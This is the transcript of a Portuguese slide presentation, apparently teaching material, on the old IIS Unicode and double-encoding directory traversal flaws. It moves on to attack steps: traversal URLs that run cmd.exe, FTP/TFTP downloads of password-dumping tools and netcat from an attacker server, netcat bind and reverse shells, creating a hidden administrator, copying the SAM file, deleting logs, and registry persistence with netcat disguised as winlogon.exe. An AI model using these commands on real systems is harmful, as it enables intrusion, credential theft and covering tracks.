A apresentação está carregando. Por favor, espere

A apresentação está carregando. Por favor, espere

Vulnerabilidade de Unicode. Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo:

Apresentações semelhantes


Apresentação em tema: "Vulnerabilidade de Unicode. Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo:"— Transcrição da apresentação:

1 Vulnerabilidade de Unicode

2 Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo: system32/cmd.exe?/c+dir Descoberta em Outubro de 2000 Reparado pela Microsoft no Security Bulletin MS00-078

3 Primeira Vulnerabilidade Problema não é necessariamente Unicode (UCS-2) Vulnerabilidade reside no UTF-8 –Unicode Transformation Format –U U F: 0xxxxxxx –U U FF: 110xxxxx 10xxxxxx –U U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx –U U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx –U U-03FFFFFF: xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx –U U-7FFFFFFF: x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

4 Primeira Vulnerabilidade UTF-8:múltiplas representações para o mesmo caracter Exemplo: caracter / –0xAF (esta é a válida) –0xC0 0xAF –0xE0 0x80 0xAF –0xF0 0x80 0x80 0xAF –0xF8 0x80 0x80 0x80 0xAF –0xFC 0x80 0x80 0x80 0x80 0xAF Sempre deve ser usada a representação mais curta

5 Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Vulnerabilidade: –Verificação do caminho do URL (sem processar UTF-8) –Acesso ao arquivo (com processamento do UTF-8) m32/cmd.exe?/c+dir

6 Segunda Vulnerabilidade IIS/PWS Escaped Character Decoding Correção da primeira vulnerabilidade: –Tratamento do UTF-8 –Verificação do caminho do URL (sem tratar UTF) –Acesso ao arquivo (com processamento do UTF-8) Nova vulnerabilidade: –Dupla codificação Descoberta em Maio de 2001 Reparado pela Microsoft no Security Bulletin MS

7 Segunda Vulnerabilidade Dupla codificação Exemplo: caracter \ –Representação válida: %5c –Mas % = %25, 5 = %35, c = %63 –Então tem-se: –%255c (%25 5c = % 5c) –%35%63 (% 5 c) –%25%35%63 (% 5 c) Verificação do caminho realizava uma decodificação Acesso ao arquivo realizava outra decodificação!

8 Exploração Executar o programa cmd.exe: system32/cmd.exe?/c+dir Porque copiar cmd.exe para outro diretório? Para evitar a ACL (access control list) definida para o usuário IUSR (Internet User) no diretório system32 (comando echo não criaria arquivo)

9 Exploração Como copiar arquivos para o servidor? Via ftp: "cmd /c echo user nome > ftpcom" "cmd /c echo password >> ftpcom" "cmd /c echo get samdump.dll >> ftpcom" "cmd /c echo get pdump.exe >> ftpcom" "cmd /c echo get nc.exe >> ftpcom" "cmd /c echo quit >> ftpcom" "cmd /c ftp -s:ftpcom -n servidor.dominio.net"

10 Exploração Como copiar arquivos para o servidor? Via tftp: "tftp -i ip.servidor GET nome.arquivo.exe" "tftp -i ip.servidor GET nome.arquivo.exe caminho.e.nome.local.exe" ip.servidor é o nome de uma máquina executando TFTPD (daemon de tftp)

11 Exploração Que arquivos copiar para o servidor? Novas páginas HTML (com imagens) Utilitários como NetCat (nc.exe) nc -l -p PORT -e PROGRAM –-l (listen) –-p PORT (número da porta) –-e PROGRAM (qual programa executar)

12 Exploração Usos do NetCat Como port scanner: nc -v -w2 -z target –-v (verboso) –-w2 (tempo de espera em segundos) –target (a máquina alvo) –20-30 (intervalo de portas para scanning) –-z (zero I/O)

13 Exploração Usos do NetCat Para obter um banner: nc -v -n ip.target 80 –-v (verboso) –-n (endereço é numérico, não usa DNS) –ip.target (número IP da máquina alvo) –80 (número da porta)

14 Exploração Usos do NetCat Para instalar um backdoor (na porta 10001): Na máquina alvo: nc -l -p e cmd.exe –-l (listen) –-p (número da porta) –-e cmd.exe (qual programa executar) Na máquina do atacante: nc -v -n ip.alvo –-v (verboso) –-n ip.alvo (número IP da máquina alvo) –10001 (número da porta)

15 Exploração Usos do NetCat Para instalar um backdoor "cliente": Na máquina do atacante: nc -l -p –-l (listen) –-p (número da porta) Na máquina alvo: nc -v -n ip.atacante e cmd.exe –-v (verboso) –-n ip.atacante (número IP da máquina atacante) –10001 (número da porta)

16 Exploração Usos do NetCat Para transferir um arquivo: Na máquina alvo: nc -l -p 1234 >hack.txt –-l (listen) –-p 1234 (número da porta) –>hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234

17 Exploração Uma vez em um servidor Microsoft…. Para criar uma conta: "cmd /c net user testuser UgotHacked /ADD" Adicionar ao grupo de administradores: "cmd /c net localgroup Administrators testuser /ADD" Criar um a cópia do arquivo SAM: "cmd /c c:\winnt\repair\rdisk /s- " Encontrar o arquivo de log: "cmd /c dir /S c:\*W3SVC32" (Depois é só apagar ou sobrescrever)

18 Ativar o backdoor Via Registro: HKEY_LOCAL_MACHINE\Software\Microsoft\Win dows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Win dows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Wind ows\CurrentVersion\Run Para maior eficácia, renomear "nc.exe" para algo menos suspeito, como "winlogon.exe" :-)

19 Ativar o backdoor Via comando AT (Schedule): AT [\\computername] time [/EVERY:date] [/NEXT:date] "command" \\computername : nome do computador remoto, ou computador local, se omitido time : hora quando o comando deve ser executado /EVERY:date : dia do mês (ou semana) /NEXT:date : dia do mês (ou semana) "command": comando Windows ou arquivo batch a executar

20 Prevenção De acordo com a própria Microsoft: Install your web folders on a drive other than the system drive Eliminate all sample files and unneeded features from your site Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them Be sure that the IUSR_machinename account does not have write access to any files on your system


Carregar ppt "Vulnerabilidade de Unicode. Primeira Vulnerabilidade IIS/PWS Extended Unicode Directory Traversal Exemplo:"

Apresentações semelhantes


Anúncios Google